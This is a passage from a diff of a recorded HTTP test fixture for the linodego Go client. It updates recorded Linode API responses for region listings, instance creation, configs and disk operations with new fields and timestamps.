"resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:53 GMT + - Fri, 31 May 2024 17:44:58 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-0v2m64nnet04","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-ms31361lfhz9","firewall_id":501419,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933875, "label": "go-test-ins-wo-disk-0v2m64nnet04", "group": + body: '{"id": 59542974, "label": "go-test-ins-wo-disk-ms31361lfhz9", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["192.46.210.166"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["194.195.118.55"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "f0b4b286c35b3e5b7f8a0ac0e1c7a53076e88273", "has_user_data": false}' + "0b08362955aed41698b873495bd61e8a06cc1fbb", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "762" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:53 GMT + - Fri, 31 May 2024 17:44:59 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-qip6s4204ec2","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-2pj284szk1d5","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933875/configs + url: https://api.linode.com/v4beta/linode/instances/59542974/configs method: POST response: - body: '{"id": 58038291, "label": "go-test-conf-qip6s4204ec2", "helpers": {"updatedb_disabled": + body: '{"id": 62729604, "label": "go-test-conf-2pj284szk1d5", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:53 GMT + - Fri, 31 May 2024 17:44:59 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,75 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933875 - method: GET - response: - body: '{"id": 54933875, "label": "go-test-ins-wo-disk-0v2m64nnet04", "group": - "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["192.46.210.166"], "ipv6": "1234::5678/128", - "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, - "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": - 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "f0b4b286c35b3e5b7f8a0ac0e1c7a53076e88273", "has_user_data": false}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive - Content-Length: - - "738" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Expires: - - Wed, 14 Feb 2024 18:18:09 GMT - Pragma: - - no-cache - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -463,86 +449,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933875 + url: https://api.linode.com/v4beta/linode/instances/59542974 method: GET response: - body: '{"id": 54933875, "label": "go-test-ins-wo-disk-0v2m64nnet04", "group": - "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["192.46.210.166"], "ipv6": "1234::5678/128", - "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, - "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": - 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "f0b4b286c35b3e5b7f8a0ac0e1c7a53076e88273", "has_user_data": false}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive - Content-Length: - - "738" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Expires: - - Wed, 14 Feb 2024 18:18:24 GMT - Pragma: - - no-cache - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933875 - method: GET - response: - body: '{"id": 54933875, "label": "go-test-ins-wo-disk-0v2m64nnet04", "group": + body: '{"id": 59542974, "label": "go-test-ins-wo-disk-ms31361lfhz9", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["192.46.210.166"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["194.195.118.55"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "f0b4b286c35b3e5b7f8a0ac0e1c7a53076e88273", "has_user_data": false}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "0b08362955aed41698b873495bd61e8a06cc1fbb", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -559,13 +478,13 @@ interactions: Connection: - keep-alive Content-Length: - - "733" + - "773" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:18:39 GMT + - Fri, 31 May 2024 17:45:14 GMT Pragma: - no-cache Strict-Transport-Security: @@ -581,7 +500,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -590,7 +512,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"disk-test-5x60l72uzg7d","size":2000,"filesystem":"ext4"}' + body: '{"label":"disk-test-5aa36v09f7zp","size":2000,"filesystem":"ext4"}' form: {} headers: Accept: @@ -599,10 +521,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933875/disks + url: https://api.linode.com/v4beta/linode/instances/59542974/disks method: POST response: - body: '{"id": 108752404, "status": "not ready", "label": "disk-test-5x60l72uzg7d", + body: '{"id": 117262197, "status": "not ready", "label": "disk-test-5aa36v09f7zp", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}' headers: @@ -627,7 +549,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:18:39 GMT + - Fri, 31 May 2024 17:45:14 GMT Pragma: - no-cache Strict-Transport-Security: @@ -642,7 +564,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -660,10 +585,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933875/disks + url: https://api.linode.com/v4beta/linode/instances/59542974/disks method: GET response: - body: '{"data": [{"id": 108752404, "status": "ready", "label": "disk-test-5x60l72uzg7d", + body: '{"data": [{"id": 117262197, "status": "ready", "label": "disk-test-5aa36v09f7zp", "created": 